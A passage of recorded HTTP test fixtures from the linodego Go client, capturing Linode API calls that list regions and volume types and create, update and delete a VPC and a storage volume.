"maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728785496992000","region":"us-iad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74464, "label": "go-test-vpc-1720728785496992000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"updated_invalid_label","description":"updated description"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74464 method: PUT response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "104" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74464 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolumeType_List.yaml000066400000000000000000000034671474652371000314260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/types?page=1 method: GET response: body: '{"data": [{"id": "volume", "label": "Storage Volume", "price": {"hourly": 0.00015, "monthly": 0.1}, "region_prices": [{"id": "id-cgk", "hourly": 0.00018, "monthly": 0.12}, {"id": "br-gru", "hourly": 0.00021, "monthly": 0.14}], "transfer": 0}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "280" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 04 Sep 2024 17:59:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_Create.yaml000066400000000000000000000603721474652371000310520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-create","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4979054, "status": "creating", "label": "go-vol-test-create", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-create", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "324" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979054 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_Create_withEncryption.yaml000066400000000000000000000656301474652371000341620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", 